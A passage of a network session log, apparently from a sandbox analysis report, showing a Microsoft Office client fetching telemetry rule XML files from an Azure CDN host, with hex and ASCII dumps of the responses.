2024-10-28 07:18:27 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:27 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:27 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:27 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 622dd3a6-e01e-0003-140d-260fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071827Z-15b8d89586f4zwgbgswvrvz4vs00000005wg000000006dcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:27 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:27 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:27 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:27 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071827Z-16849878b785dznd7xpawq9gcn000000060000000000d3bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:27 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:27 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:27 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:27 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 63860650-101e-00a2-42b4-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071827Z-16849878b78qg9mlz11wgn0wcc000000046000000000en13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:27 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:27 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:27 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:27 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 2d08e37c-b01e-0021-309c-27cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071827Z-r197bdfb6b48pl4k4a912hk2g400000003v0000000006b14 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:27 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:27 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:28 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:27 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071827Z-16849878b78wv88bk51myq5vxc000000051g000000002xvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:28 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:28 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:28 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:28 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071828Z-16849878b78hh85qc40uyr8sc800000005100000000042ps x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:28 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:28 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:28 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:28 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071828Z-16849878b78fkwcjkpn19c5dsn00000003m000000000kr8y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:28 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:28 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:28 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:28 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071828Z-16849878b7867ttgfbpnfxt44s00000004f000000000erz8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:28 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:28 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:28 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:28 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e20e9adc-401e-0083-18ae-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071828Z-16849878b7898p5f6vryaqvp5800000005kg000000004c1g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:28 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:28 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:28 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:28 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4769d5f8-401e-0067-710e-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071828Z-16849878b7867ttgfbpnfxt44s00000004e000000000k568 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:28 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:29 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:29 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:29 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: fcb0aa0f-801e-007b-4069-28e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071829Z-15b8d89586flzzks5bs37v2b900000000920000000000bfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
